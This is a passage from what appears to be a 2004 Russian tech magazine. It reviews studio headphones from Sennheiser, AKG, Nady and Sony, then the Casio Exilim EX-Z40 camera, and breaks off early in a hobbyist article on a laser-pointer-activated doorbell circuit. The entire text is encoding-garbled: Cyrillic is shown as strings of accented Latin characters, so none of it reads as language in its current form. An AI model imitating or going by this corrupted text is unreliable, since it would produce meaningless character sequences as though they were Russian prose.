óøàì) íèçêèå çâóêè íåñêîëüêî ãóíäÿò, íî âûñîêèå ÷àñòîòû âíå âñÿêèõ ïîõâàë. Ïîñêîëüêó èñïîëíåíèå ïðèëåãàþùèõ ê óøàì
÷àñòåé çàêðûòîå, ìîæíî íå âîëíîâàòüñÿ çà îêðóæàþùèõ, ïðîñëóøèâàÿ êîìïîçèöèè äàæå íà î÷åíü âûñîêîé ãðîìêîñòè. Ïðè
äëèòåëüíîì èñïîëüçîâàíèè âîçíèêàåò íåêîòîðûé äèñêîìôîðò - äóæêà ñëèøêîì òóãàÿ è íàóøíèêè îùóòèìî äàâÿò.
Äîâîëüíî óäîáíà êîíñòðóêöèÿ ñî ñíèìàþùèìèñÿ àìáóøþðàìè è âîçìîæíîñòüþ çàìåíû îòäåëêè (ìÿãêîé ÷àñòè) ïîçâîëÿåò
ïðîäëèòü ñðîê ñëóæáû âñåé ñèñòåìû. Ñäåëàííûå èç áåñêèñëîðîäíîé ìåäè ïðîâîäà è ïîçîëî÷åííûå êîííåêòîðû èñêëþ÷àþò
âîçíèêíîâåíèå ïîñòîðîííèõ èñêàæåíèé è øóìîâ, à âõîäÿùèé â êîìïëåêò àäàïòåð íà 6.3 ìì îáåñïå÷èâàåò âîçìîæíîñòü
èñïîëüçîâàíèÿ ñèñòåìû âìåñòå ñ ïðîôåññèîíàëüíîé àïïàðàòóðîé.

Òèï: çàêðûòûå ìîíèòîðíûå, supraaural
×àñòîòíûé äèàïàçîí: 12-19000 Ãö
Èñêàæåíèÿ: <0.2%
Ñîïðîòèâëåíèå: 32 Îì
×óâñòâèòåëüíîñòü: 112 äÁ
Ðåãóëÿòîðû: îòñóòñòâóþò
Äëèíà êàáåëÿ: 3 ì
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 220 ã 

SENNHEISER HD 212 PRO
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Ýòà ñèñòåìà îòíîñèòñÿ ê êëàññó âûñîêîêà÷åñòâåííîé Hi-Fi-àïïàðàòóðû, ïðè÷åì êëàññè÷åñêàÿ êîíñòðóêöèÿ îáåñïå÷èâàåò
íàèáîëåå ÷èñòîå çâó÷àíèå � ïðèìåíåííûå ìîùíûå ìàãíèòû äàþò æåñòêèé áàñ, à àêòèâíàÿ äèàôðàãìà ïðèçâàíà

óëó÷øèòü êà÷åñòâî çâóêà. Ñèñòåìó íå óäàñòñÿ èñïîëüçîâàòü áåç äîïîëíèòåëüíîãî óñèëèòåëÿ ñ îáûêíîâåííûì ïëååðîì èëè
êîìïüþòåðîì, ïîñêîëüêó ñîïðîòèâëåíèå íàóøíèêîâ âåñüìà áîëüøîå, íî îíè íà ýòî è íå ðàññ÷èòàíû, âåäü îáëàñòü
èñïîëüçîâàíèÿ AKG K240 îáîçíà÷àåòñÿ êàê ïðîôåññèîíàëüíàÿ.
Áîëüøèå, îõâàòûâàþùèå óøè àìáóøþðû ñäåëàíû ñ ðàñ÷åòîì íà äëèòåëüíîå èñïîëüçîâàíèå, è äåéñòâèòåëüíî - ïîñëå
ïðîñëóøèâàíèÿ ìóçûêè â òå÷åíèå ïîëóòîðà ÷àñîâ íèêàêèõ áîëåçíåííûõ îùóùåíèé íå âîçíèêëî. Ñàìîïîäñòðàèâàþùàÿñÿ
äóæêà ïîìîãàåò íàèáîëåå îïòèìàëüíî çàêðåïèòü íàóøíèêè íà ãîëîâå, îäíàêî íàäåæíîñòü òàêîãî êðåïëåíèÿ î÷åíü íåâûñîêàÿ.

Òèï: ïîëóîòêðûòûå ìîíèòîðíûå, circumaural
×àñòîòíûé äèàïàçîí: 15-20000 Ãö 
Èñêàæåíèÿ: <0.25%
Ñîïðîòèâëåíèå: 600 Îì
×óâñòâèòåëüíîñòü: 88 äÁ
Ðåãóëÿòîðû: ñàìîðåãóëèðóþùàÿñÿ äóæêà
Äëèíà êàáåëÿ: 3 ì
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 240 ã

AKG K240
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Ïðè ïåðâîì èñïîëüçîâàíèè ñðàçó îùóùàåòñÿ íåìàëûé âåñ íàóøíèêîâ (ïî ñðàâíåíèþ ñ äðóãèìè ìîäåëÿìè), îäíàêî ïîñ-
òåïåííî ê ýòîìó ïðèâûêàåøü è îñîáîãî äèñêîìôîðòà ïðè ðàáîòå íå ÷óâñòâóåøü. Ýòà ñèñòåìà áûëà ðàçðàáîòàíà â ïåð-

âóþ î÷åðåäü äëÿ äè-äæååâ (è íà ðàäèî), à òàêæå ïðîôåññèîíàëîâ â îáëàñòè ìóçûêè. Ïðàêòè÷åñêè ïîëíàÿ èçîëÿöèÿ îò âíåø-
íèõ øóìîâ è ïðåêðàñíîå âîñïðîèçâåäåíèå êîìïîçèöèé äåéñòâèòåëüíî âîçâîäÿò åå â ðàíã îòëè÷íîé ñèñòåìû (íèæíþþ ÷àñòîòó
âîñïðîèçâåäåíèÿ â 8 Ãö ñïîñîáíî âûäàòü íå âñÿêîå îáîðóäîâàíèå).
Â ïðèëàãàþùåéñÿ èíñòðóêöèè ïîäðîáíî ðàññêàçûâàåòñÿ î òîì, êàê ìîæíî ðàçîáðàòü è çàìåíèòü ïðàêòè÷åñêè ëþáóþ ÷àñòü ñèñ-
òåìû, è î ïðîâåäåíèè ÷èñòêè. Ñêëàäíàÿ êîíñòðóêöèÿ àìáóøþðîâ ïîçâîëÿåò áåç ïðîáëåì ïðîèçâîäèòü òðàíñïîðòèðîâêó óñò-
ðîéñòâà, à èõ ïîâîðîò îáåñïå÷èâàåò âîçìîæíîñòü îäíîñòîðîííåãî ìîíèòîðèíãà. Ïðóæèííûé ïðîâîä îêàçûâàåòñÿ íåìíîãî íåó-
äîáåí ïðè èñïîëüçîâàíèè ñîâìåñòíî ñ óñòðîéñòâàìè âîñïðîèçâåäåíèÿ çâóêà, íàõîäÿùèìèñÿ ñ ïðàâîé ñòîðîíû, ïîñêîëüêó êà-
áåëü áóäåò ìåøàòü ðàáîòå, ïðîâèñàÿ íàä ðóêàìè.

Òèï: çàêðûòûå ìîíèòîðíûå, circumaural
×àñòîòíûé äèàïàçîí: 8-25000 Ãö
Èñêàæåíèÿ: <0.1%
Ñîïðîòèâëåíèå: 64 Îì 
×óâñòâèòåëüíîñòü: 102 äÁ
Ðåãóëÿòîðû: îòêèäíûå àìáóøþðû
Äëèíà êàáåëÿ: 1-3 ì (ñïèðàëüíûé øíóð)
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 285 ã

SENNHEISER HD 280 PRO
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Î÷åíü ïðèÿòíûå ïî îùóùåíèÿì íàóøíèêè (âåëþðîâûå àìáóøþðû è ìÿãêàÿ ëåãêàÿ äóæêà ñîõðàíÿþò ÷óâñòâî êîìôîðòà
äàæå ïðè èñïîëüçîâàíèè î÷åíü ïðîäîëæèòåëüíîå âðåìÿ) ïîëíîñòüþ îõâàòûâàþò óõî, íî ïî êîíñòðóêöèè ÿâëÿþòñÿ îòê-

ðûòûìè (òî åñòü ïîëíîé èçîëÿöèè îò âíåøíåãî ìèðà íåò). Áëàãîäàðÿ ðàñøèðåííîìó äèíàìè÷åñêîìó äèàïàçîíó (îñîáåííî ïîä-
íÿòîé âåðõíåé ãðàíèöå) ñèñòåìà íàèáîëåå ïîäõîäèò äëÿ ïðîñëóøèâàíèÿ ñèìôîíè÷åñêèõ êîìïîçèöèé (÷òî è îòðàæåíî â íàçâà-
íèè � "Symphony�). Èç-çà îñîáåííîñòåé êîíñòðóêöèè (îòêðûòàÿ ñèñòåìà, ñî ñïåöèàëüíûìè îáëåã÷åííûìè êàòóøêàìè è óñèëåí-
íûìè ìàãíèòàìè) áàñ çâó÷èò áîëåå ìÿãêî, íåæåëè ó ïðåäûäóùåé ìîäåëè òîãî æå ïðîèçâîäèòåëÿ, à âûñîêèå ÷àñòîòû â íåêîòî-
ðûõ ñëó÷àÿõ ñòàíîâÿòñÿ íàñòîëüêî ïðîíçèòåëüíûìè, ÷òî ïðèõîäèòñÿ ñïåöèàëüíî çàíèæàòü èõ â ýêâàëàéçåðå.
Ñúåìíûé òðåõìåòðîâûé êàáåëü èç áåñêèñëîðîäíîé ìåäè óäîáåí òåì, ÷òî ÿâëÿåòñÿ ñúåìíûì (êîíåö, ïîäêëþ÷àþùèéñÿ ê íàóø-
íèêàì, èìååò ñòàíäàðòíûé ðàçúåì MiniJack 2.5 ìì), à ñàìî ñîåäèíåíèå ïðîèñõîäèò ëèøü ñ îäíîé ñòîðîíû. Âûñîêîå ñîïðîòèâëå-
íèå íå ïîçâîëÿåò èñïîëüçîâàòü õýäôîíû ñîâìåñòíî ñ ïåðåíîñíîé òåõíèêîé (MP3- èëè CD-ïëååðîì), ïîñêîëüêó ãðîìêîñòè â
ñèëüíî çàøóìëåííîì ìåñòå áóäåò íå õâàòàòü èç-çà ìàëîé ìîùíîñòè óñèëèòåëÿ.

Òèï: îòêðûòûå ìîíèòîðíûå, circumaural
×àñòîòíûé äèàïàçîí: 18-22000 Ãö
Èñêàæåíèÿ: <0.2%
Ñîïðîòèâëåíèå: 64 Îì
×óâñòâèòåëüíîñòü: 102 äÁ 
Ðåãóëÿòîðû: îòñóòñòâóþò
Äëèíà êàáåëÿ: 3 ì
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 210 ã

SENNHEISER HD 570
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ÕÀÊÅÐÑÏÅÖ   10(47)    2004

Íåïëîõîé âàðèàíò íàóøíèêîâ áþäæåòíîãî êëàññà. Ñâîþ ñòîèìîñòü ñèñòåìà îòðàáàòûâàåò ñïîëíà, âîñïðîèçâîäÿ äîñòà-
òî÷íî ÷èñòûé è âìåñòå ñ òåì ñî÷íûé çâóê. Ñêàçàòü, ÷òî ýòî - àêóñòèêà âûñøåãî êëàññà, íåëüçÿ, îäíàêî îíà ÿâëÿåòñÿ íå

ñàìûì õóäøèì îáðàçöîì. Íàì ïîêàçàëàñü íå ñîâñåì óäîáíîé ñèñòåìà ñ ñàìîíàñòðàèâàþùåéñÿ äóæêîé, ïîñêîëüêó óñòîé÷è-
âîñòü íà ãîëîâå â ýòîì ñëó÷àå âåñüìà ñëàáàÿ è ïðè ðåçêèõ ïîâîðîòàõ âñÿ êîíñòðóêöèÿ ñâàëèâàåòñÿ. ×òî êàñàåòñÿ ôèçè÷åñêèõ
îùóùåíèÿõ ïðè ïðîñëóøèâàíèè, òî èç-çà ñëàáîé äóæêè äàâëåíèå íà óøè ìèíèìàëüíîå è ñ íàóøíèêàìè ìîæíî ðàáîòàòü äîñ-
òàòî÷íî ïðîäîëæèòåëüíîå âðåìÿ, à ïîëóîòêðûòûå àìáóøþðû ñïîñîáñòâóþò ïðîâåòðèâàíèþ îêîëîóøíîãî ïðîñòðàíñòâà. Íèç-
êîå ñîïðîòèâëåíèå ñïîñîáñòâóåò ïðèìåíåíèþ AKG K66 ñîâìåñòíî ñ ìàëîìîùíîé àïïàðàòóðîé (âðîäå êàðìàííîãî ïëååðà), íî
ïðè ñèëüíîé çàøóìëåííîñòè âíåøíåé ñðåäû ïîëó÷èòü óäîâîëüñòâèå îò ìóçûêè íå ïîëó÷èòñÿ (âñå-òàêè ñèñòåìà íå ïîëíîñòüþ
èçîëèðóåò îò îêðóæàþùåãî ìèðà).

Òèï: ïîëóîòêðûòûå ìîíèòîðíûå, circumaural
×àñòîòíûé äèàïàçîí: 18-22000 Ãö
Èñêàæåíèÿ: <1%
Ñîïðîòèâëåíèå: 32 Îì
×óâñòâèòåëüíîñòü: 96 äÁ
Ðåãóëÿòîðû: àâòîïîäñòðîéêà âûñîòû äóæêè
Äëèíà êàáåëÿ: 3 ì
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: 210 ã

AKG K66
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Íàóøíèêè áîëåå âñåãî ïðèçâàíû ñòàòü ñïóòíèêîì äè-äæåÿ, ïîñêîëüêó èìååòñÿ âåñüìà óäîáíàÿ ôóíêöèÿ ðàçâîðîòà
àìáóøþð íà 90 ãðàäóñîâ, ÷òî ïîçâîëÿåò îñóùåñòâëÿòü ìîíèòîðèíã ìóçûêè. Ìÿãêèé âåëþðîâûé ìàòåðèàë àìáóøþð

îáåñïå÷èâàåò êîìôîðòíóþ ðàáîòó âåñüìà äîëãîå âðåìÿ. Êîíñòðóêöèÿ ñèñòåìû òàêîâà, ÷òî íà ãîëîâå íàóøíèêè êðåïÿòñÿ
ïðî÷íî è íàäåæíî, à øàðíèðíûé ïîäâåñ äèíàìèêîâ äàåò íàèáîëåå óäîáíîå îáëåãàíèå óøíîé ðàêîâèíû. Ïðè íàñòðîéêå äëèíû
äóæêà ñèñòåìû êàæåòñÿ õëèïêîé (óçëû êðåïëåíèÿ èìåþò çíà÷èòåëüíûé ëþôò) è â ýêñòðåìàëüíûõ óñëîâèÿõ îíà ìîæåò
îòëîìèòüñÿ. Ïî çâó÷àíèþ æå ýòî äåéñòâèòåëüíî íåïëîõàÿ ñèñòåìà, ñ ìÿãêèì ñî÷íûì áàñîì (êîòîðûé îáåñïå÷èâàåòñÿ ìîùíûìè
íåîäèìîâûìè ìàãíèòàìè) è ÷èñòûìè âûñîêèìè ÷àñòîòàìè, îäíàêî äëÿ ïðîôåññèîíàëüíîãî ïðèìåíåíèÿ ìîæåò íå õâàòèòü
äèíàìè÷åñêîãî äèàïàçîíà.

Òèï: çàêðûòûå ìîíèòîðíûå, circumaural
×àñòîòíûé äèàïàçîí: 20-20000 Ãö
Èñêàæåíèÿ: N/A
Ñîïðîòèâëåíèå: 32 Îì
×óâñòâèòåëüíîñòü: 107 äÁ
Ðåãóëÿòîðû: ïîâîðîòíûå àìáóøþðû
Äëèíà êàáåëÿ: 2.9 ì
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: N/A

NADY QH 660
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Êîíñòðóêöèÿ íàóøíèêîâ (ìÿãêèå ïðèÿòíûå àìáóøþðû, øèðîêàÿ ëåíòà äóæêè ñ àâòîíàñòðîéêîé äëèíû) îáåñïå÷èâàåò èõ
óäîáíóþ è ïðî÷íóþ ïîñàäêó íà ãîëîâå, è èñïîëüçîâàòü ñèñòåìó ìîæíî ñêîëü óãîäíî äîëãîå âðåìÿ áåç íàêîïëåíèÿ

óñòàëîñòè â îáëàñòè óøíîé ðàêîâèíû. Ñîçäàííûå äëÿ ïðèìåíåíèÿ ñîâìåñòíî ñ êà÷åñòâåííûìè èñòî÷íèêàìè öèôðîâîãî çâóêà,
äèíàìèêè íàóøíèêîâ ïðåêðàñíî âîñïðîèçâîäÿò íèçêèå ÷àñòîòû, íà âûñîêèõ æå èíñòðóìåíòàõ êà÷åñòâî òàêæå îñòàåòñÿ âåñüìà
íåïëîõèì. À õîðîøàÿ ÷óâñòâèòåëüíîñòü îáåñïå÷èâàåò âîñïðîèçâåäåíèå ãðîìêîãî ìîùíîãî çâóêà. Îòêðûòîå óñòðîéñòâî
íàóøíèêîâ îáåñïå÷èâàåò åñòåñòâåííîñòü è êîìôîðòíîñòü ïðîñëóøèâàíèÿ ìóçûêè.

Òèï: îòêðûòûå ìîíèòîðíûå, circumaural
×àñòîòíûé äèàïàçîí: 20-22000 Ãö
Èñêàæåíèÿ: N/A
Ñîïðîòèâëåíèå: 64 Îì
×óâñòâèòåëüíîñòü: 106 äÁ
Ðåãóëÿòîðû: äóæêà ñ ôóíêöèåé àâòîíàñòðîéêè
Äëèíà êàáåëÿ: 3 ì
Øòåïñåëü: MiniJack (3.5 ìì) + àäàïòåð íà 6.3 ìì
Âåñ: N/A

NADY QH 360
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Ïðîòåñòèðîâàâ äâåíàäöàòü ïàð íàóøíèêîâ, ìû
ñäåëàëè åäèíñòâåííûé âûâîä: ñíà÷àëà ñòîèò îï-
ðåäåëèòüñÿ ñ îáëàñòüþ ïðèìåíåíèÿ ñèñòåìû, à ïå-
ðåä ïîêóïêîé àêóñòè÷åñêîãî óñòðîéñòâà íóæíî
îáÿçàòåëüíî ïîñëóøàòü è ïðîâåðèòü åãî íà ñåáå,
÷òîáû èçáåæàòü ïðîáëåì â äàëüíåéøåì. Ñðåäè
âñåõ ñåãîäíÿøíèõ ñèñòåì ñòîèò âûäåëèòü äâå.

Ïåðâàÿ - Sony MDR 7506 - ïîêàçàëà íàèâûñøåå
êà÷åñòâî çâóêà è óäîáíîå êðåïëåíèå íà ãîëîâå, è
èìåííî ýòèì íàóøíèêàì îòäàåòñÿ íàãðàäà "Âûáîð
ðåäàêöèè". Âòîðàÿ æå � Sennheiser HD 212 Pro -
òàêæå î÷åíü óäîáíà â èñïîëüçîâàíèè è îáëàäàåò
î÷åíü ÷èñòûì è ïðèÿòíûì çâó÷àíèåì, ïîýòîìó
äëÿ íåå îñòàåòñÿ íàãðàäà "Ëó÷øàÿ ïîêóïêà".

ÂÛÂÎÄÛ
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àìåðû êëàññà �êîì-
ïàêò�, êàê ïðàâèëî, ÿâ-
ëÿþòñÿ ìîäíûì àêñåñ-
ñóàðîì, ïîýòîìó èì
ïðîñòî íåîáõîäèìî

âûãëÿäåòü ñòèëüíî, íå îáðåìåíÿòü
êàðìàíû âëàäåëüöà áîëüøèì âåñîì è
ãàáàðèòàìè è èìåòü ïðè ýòîì ñíîñíîå
êà÷åñòâî èçîáðàæåíèÿ. Ñåãîäíÿ ìû
ïðåäñòàâëÿåì òâîåìó âíèìàíèþ ìè-
íèàòþðíóþ öèôðîâóþ êàìåðó Casio
Exilim EX-Z40 ñ 4-ìåãàïèêñåëüíîé
ìàòðèöåé. Ïîêëîííèêè òîòàëüíîé ìè-
íèàòþðèçàöèè áóäóò îáðàäîâàíû òåì,
÷òî â òàêîì ìàëþñåíüêîì êîðïóñå
óìåñòèëèñü åùå è âèäåîêàìåðà, ñïî-
ñîáíàÿ ñîçäàâàòü êîðîòêèå ðîëèêè ñî
çâóêîì, è öèôðîâîé äèêòîôîí.

ÓÑÒÐÎÉÑÒÂÎ
Íåñìîòðÿ íà ìàëûå ãàáàðèòû êà-

ìåðà èìååò âñå àòðèáóòû, ïðèñóùèå
ïîëíîðàçìåðíûì ôîòîñîáðàòüÿì. Â
íàëè÷èè 3-êðàòíûé ZOOM-îáúåêòèâ
ïðîèçâîäñòâà Pentax, ìàòðèöà âûñî-
êîãî ðàçðåøåíèÿ è âîçìîæíîñòü
ðó÷íîãî óïðàâëåíèÿ áîëüøèíñòâîì
ñúåìî÷íûõ ïàðàìåòðîâ. Èíòåðåñíà
êîìïëåêòàöèÿ: óñòðîéñòâî ïîñòàâëÿ-
åòñÿ íà ðûíîê íå �ãîëûøîì�, à âìåñ-
òå ñ óäîáíîé äîê-ñòàíöèåé. Èìåííî
÷åðåç íåå îñóùåñòâëÿåòñÿ çàðÿäêà
àêêóìóëÿòîðà è ïåðåêà÷êà ôîòîãðà-
ôèé â êîìïüþòåð. Íàëè÷èå ïîäîáíî-
ãî êðåäëà îñâîáîæäàåò ïîëüçîâàòå-
ëÿ îò íåîáõîäèìîñòè âîçèòüñÿ ñ âå÷-
íî ïàäàþùèìè ïîä ñòîë ïðîâîäàìè è
îòäåëüíûìè çàðÿäíûìè óñòðîéñòâà-
ìè: ïðîñòî ïîñòàâèë êàìåðó â ãíåçäî
- è ãîòîâî! Äðóãèì ïðåèìóùåñòâîì
êðåäëà ÿâëÿåòñÿ åãî óñòîé÷èâîñòü ê
ìåõàíè÷åñêèì âîçäåéñòâèÿì: âîòêíó-
òûé â êàìåðó êàáåëü ìîæíî ñëåãêà
äåðíóòü è ïîâðåäèòü ðàçúåì, à ñ
ïëîòíî ñèäÿùåé â äîê-ñòàíöèè êàìå-
ðîé òàêîãî íå ïðîèçîéäåò.
Ïðè ïåðâîì æå îïûòå ðàáîòû ñ Casio
EX-Z40 ïðèÿòíî óäèâëÿåò ïîëíàÿ è
êà÷åñòâåííàÿ ðóñèôèêàöèÿ âñåõ
ïóíêòîâ ìåíþ óïðàâëåíèÿ. Åãî ñòðóê-
òóðà è ëîãèêà óïðàâëåíèÿ òàêæå äîñ-
òàòî÷íî ïðîäóìàííû, ðåæèìû ðàáîòû
âñïûøêè, äèàïàçîíû ôîêóñèðîâêè,
áàëàíñ áåëîãî ìîãóò áûòü èçìåíåíû

âðó÷íóþ, äàæå åñëè
âûáðàíà îäíà èç
ñþæåòíûõ ïðîã-
ðàìì.
Òðàäèöèîííûì
íåäîñòàòêîì íå-
çåðêàëüíûõ
öèôðîâûõ ôî-
òîàïïàðàòîâ
ïðèíÿòî ñ÷è-
òàòü íèçêóþ
ñêîðîñòü ðà-
áîòû. Ðåäêî
êîãäà óäàåò-
ñÿ çàñíÿòü
çåâàþùåãî çà ñî-
ñåäíåé ïàðòîé ñîêóðñíè-
êà: êàìåðó íóæíî âêëþ÷èòü,
ïîäîæäàòü, ïîêà îáúåêòèâ íàâåäåò-
ñÿ íà ðåçêîñòü è ñàì êàäð áóäåò íå-
ïîñðåäñòâåííî ñíÿò. Â Casio EX-Z40
ðåøåíà îäíà èç ýòèõ ïðîáëåì - âäî-
áàâîê ê îáû÷íûì ðåæèìàì ïðèäó-
ìàí ðåæèì �ïàíîðàìíîãî àâòîôîêó-
ñà�. Õèòðîñòü çàêëþ÷àåòñÿ â òîì,
÷òî êàìåðå íå íàäî äîëãî è òùà-
òåëüíî îïðåäåëÿòü ðàññòîÿíèå äî
îáúåêòà, òàê êàê àâòîìàòèêà ïðèìåð-
íî îöåíèâàåò äèñòàíöèþ, ãðóáî ôî-
êóñèðóåòñÿ è ïðèêðûâàåò äèàôðàã-
ìó, òåì ñàìûì âûñòàâëÿÿ áîëüøóþ
ãëóáèíó ðåçêîñòè. Â èòîãå, äîâîëüíî
ðåçêèé ñíèìîê ïîëó÷àåòñÿ íàìíîãî
áûñòðåå.

ÊÀ×ÅÑÒÂÎ ÑÍÈÌÊÎÂ
Ìû ñäåëàëè íåñêîëüêî ñúåìî÷-

íûõ ñåðèé, ÷òî áû èìåòü ïðåäñòàâ-
ëåíèå î òîì, íàñêîëüêî õîðîøî ðà-
áîòàåò ýòîò ôîòîàïïàðàò. Áëàãîäà-
ðÿ ÷óâñòâèòåëüíîñòè ìàòðèöû â 50
åäèíèö íî÷íûå êàäðû ïîëó÷àþòñÿ
âåñüìà ìàëîøóìíûìè, à âîçìîæ-
íîñòü ðó÷íîãî âûñòàâëåíèÿ áàëàíñà
áåëîãî ïîìîãàåò ñïðàâèòüñÿ ñ îñâå-
ùåíèåì íî÷íîãî ãîðîäà ðàçíûìè ïî
öâåòîâîé òåìïåðàòóðå ñâåòèëüíèêà-
ìè. Ìàêðîñúåìêà òîæå íà âûñîòå,
ìàêñèìàëüíîå óâåëè÷åíèå òàêîâî,
÷òî îáûêíîâåííûé ñïè÷å÷íûé êîðî-
áîê íå óìåùàåòñÿ â êàäð. Óâåðåí-
íàÿ ðàáîòà àâòîìàòè÷åñêîãî áàëàí-
ñà áåëîãî â äíåâíîå âðåìÿ, ñî÷åòà-
þùàÿñÿ ñ õîðîøåé öâåòîïåðåäà÷åé,

äåëàåò ýòó êàìåðó ïðèãîäíîé äëÿ
ñúåìîê íà ïðèðîäå.

ÂÛÂÎÄÛ
Çíàòîê â äåëå ñîçäàíèÿ óëüòðà-

êîìïàêòíûõ êàìåð, êîìïàíèÿ Casio â
î÷åðåäíîé ðàç ïîðàäîâàëà ñâîèõ ïî-
êóïàòåëåé. Ôîòîàïïàðàò Casio EX-
Z40 îáëàäàåò ìàëûìè ðàçìåðàìè è
âåñîì, ìåñòà â êàðìàíå çàíèìàåò íå
áîëåå ÷åì êîëîäà èãðàëüíûõ êàðò, íî
ïðè ýòîì ôîòîñíèìêè, ïîëó÷åííûå ñ
åãî ïîìîùüþ, ðàäóþò ãëàç ÷åò-
êîñòüþ, íèçêîé çåðíèñòîñòüþ è ÿðêè-
ìè öâåòàìè. E

Ê
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Ne01eX (Ne01eX@rambler.ru, www.alexhak.narod.ru)

Ò åáå, íàâåðíîå, çíàêîìà ñèòóàöèÿ: äðóçüÿ, îáëîìàâøèñü âîéòè â ïîäúåçä, ñ ðàäîñòíûì âèäîì ñïåøàò èçâåñòèòü
î ñâîåì ïðèõîäå, êèíóâ ÷òî-íèáóäü òÿæåëîå òèïà êèðïè÷à òåáå â îêíî. Óñòàë ìåíÿòü ñòåêëîïàêåòû?

Òîãäà ýòî ñòàòüÿ äëÿ òåáÿ!

ÏÀßËÜÍÈÊ
ÑÎ ÑÊÎÐÎÑÒÜÞ ÑÂÅÒÀ

ÄÎ ÒÎÃÎ ÊÀÊ
Ñîãëàñíî âòîðîìó

çàêîíó Íüþòîíà, óñêî-
ðåíèå, ïðèîáðåòàåìîå
òåëîì, ïðÿìî ïðîïîðöè-

îíàëüíî ñèëå, äåéñòâóþùåé íà íåãî.
Ïðî÷íîñòü îêîííîãî ñòåêëà íàïðÿìóþ
çàâèñèò îò åãî òîëùèíû. Êèíåòè÷åñ-
êóþ ýíåðãèþ êèðïè÷à, áðîøåííîãî
äðóãîì, ðàññ÷èòàòü, â ïðèíöèïå, ìîæ-
íî, íî ïðèäåòñÿ ïðèíÿòü âî âíèìàíèå
êîëè÷åñòâî âûïèòîãî äðóãîì ïèâà. Ê
ñîæàëåíèþ, ýòà âåëè÷èíà çà÷àñòóþ íå
ÿâëÿåòñÿ êîíñòàíòîé, à ýòî çíà÷èò, ÷òî
ïðèäåòñÿ ñ÷èòàòü, èñïîëüçóÿ íåêîòî-
ðûå çàêîíû èç òåîðèè âåðîÿòíîñòè.
×òî, óæå âçÿë â ðóêè êàëüêóëÿòîð? Íå
ñòîèò, âîçüìè ëó÷øå ïàÿëüíèê: ñ÷è-
òàòü - óäåë áîòàíîâ, à íå æåñòÿíùè-
êîâ, è ïîòîìó áóäåì ðåøàòü ýòó ïðîá-
ëåìó áîëåå ðàäèêàëüíûì ñïîñîáîì -
ñäåëàåì äèñòàíöèîííûé ìåãàçâîíîê.

È ðàäèêàëîì áóäåò îáûêíîâåííûé
ïñåâäîëàçåðíûé áðåëîê. À íàçûâàåò-
ñÿ îí òàê ïîòîìó, ÷òî âíóòðè åãî íå ÷òî
èíîå, êàê êèòàéñêîå ïîäîáèå ïîëóïðî-
âîäíèêîâîãî ëàçåðà - ýòàêèé ãèïåðáî-
ëîèä èíæåíåðà Ãàðèíà ÕÕ âåêà.

Îòêðîþ áîëüøîé ñåêðåò òîâàðèùà
Í.Ã. Áàñîâà: â ëàçåðàõ ëþáîãî òèïà
(ðóáèíîâîì, ãàçîâîì, ïîëóïðîâîäíè-
êîâîì è ò.ä.) íåò íèêàêîãî íàìåêà íà
ëèíçû (â èñòî÷íèêå - äà, íî íè÷òî íå
ìåøàåò ïîñòàâèòü îïòè÷åñêóþ ñèñòå-
ìó íà âûõîäå ëàçåðà - ïðèì.
AvaLANche'à), ïîòîìó êàê ïîñëåäíèå
ïðåëîìëÿþò ñâåò, à ïî òåîðèè (è íà
ïðàêòèêå òîæå) ëàçåð äîëæåí îáåñïå-
÷èâàòü ïàðàëëåëüíîå è îäíîíàïðàâ-
ëåííîå êîãåðåíòíîå èçëó÷åíèå. Êîðî-
÷å, ëàæà ýòî âñå... Íî ýòó ëàæó çà íåè-
ìåíèåì êàêîé-ëèáî äðóãîé íà ïðèäåò-
ñÿ èñïîëüçîâàòü. Ïðèìåíåíèé åé ìíî-
æåñòâî, è Ñïåö óæå ïèñàë îá ýòîì.

ÊÅÍÒÀÒÎÐ
Ñõåìó ýòîãî íåõèòðîãî äåâàéñà

òû ìîæåøü óâèäåòü íà ðèñ. 2. Â íåì
âñåãî ÷åòûðå äåòàëè. Ñàì äåâàéñ
ïðåäñòàâëÿåò ñîáîé ôîòîðåëå. Ñà-
ìîé ãëàâíîé äåòàëüþ â íàøåì ðåëå
ÿâëÿåòñÿ ôîòîäèîä. Ôîòîäèîä îòëè-
÷àåòñÿ îò îáû÷íîãî äèîäà òåì, ÷òî
íà÷èíàåò ïðîâîäèòü òîê, òîëüêî êîã-
äà îñâåùåí. Òîãäà îí îòêðûâàåòñÿ,
íî ïî-ïðåæíåìó ïðîâîäèò òîê ëèøü
â îäíîì íàïðàâëåíèè. Ýòèì ñâîé-
ñòâîì ìû è âîñïîëüçóåìñÿ. Êîãäà ìû
íàâîäèì ëó÷ íàøåãî áðåëîêà íà ôî-
òîäèîä VD1, îí îòêðûâàåòñÿ, ÷åðåç
ðåçèñòîð R1 íà÷èíàåò ïðîòåêàòü òîê,
ñðàáàòûâàåò êëþ÷ íà òðàíçèñòîðå
VT1, ÷òî ïðèâîäèò ê ïîÿâëåíèþ ëîãè-
÷åñêîé 1 íà êîëëåêòîðå ýòîãî òðàí-
çèñòîðà. Óðîâåíü ýòîé åäèíè÷êè ìû
ìîæåì ðåãóëèðîâàòü ðåçèñòîðîì R2.
Ýòîò æå ðåçèñòîð çàäàåò ðàáî÷óþ
òî÷êó äëÿ òðàíçèñòîðà VT1. Ðåçèñòîð
R1 ñëóæèò äëÿ îãðàíè÷åíèÿ òîêà, è,
ìåíÿÿ åãî ñîïðîòèâëåíèå, ìîæíî
òåì ñàìûì ðåãóëèðîâàòü óðîâåíü

ñðàáàòûâàíèÿ ðåëå. Ýòî íåîáõîäèìî
äëÿ òî÷íîé íàñòîéêè, äàáû ðåëå íå
ñðàáàòûâàëî ñàìî â ðåçóëüòàòå èç-
ìåíåíèÿ ñîëíå÷íîé àêòèâíîñòè.

Èòàê, ó íàñ åñòü ðåëå, êîòîðîå âûäà-
åò ëîãè÷åñêóþ 1 ïðè íàâåäåíèè íà íå-
ãî ëó÷à áðåëîêà. Ýòî óæå ñàìî ïî ñåáå
íåïëîõî, íî ïðàêòè÷åñêîé ïîëüçû îò
ýòîé åäèíè÷êè ÷èñòûé íîëü. À åñëè
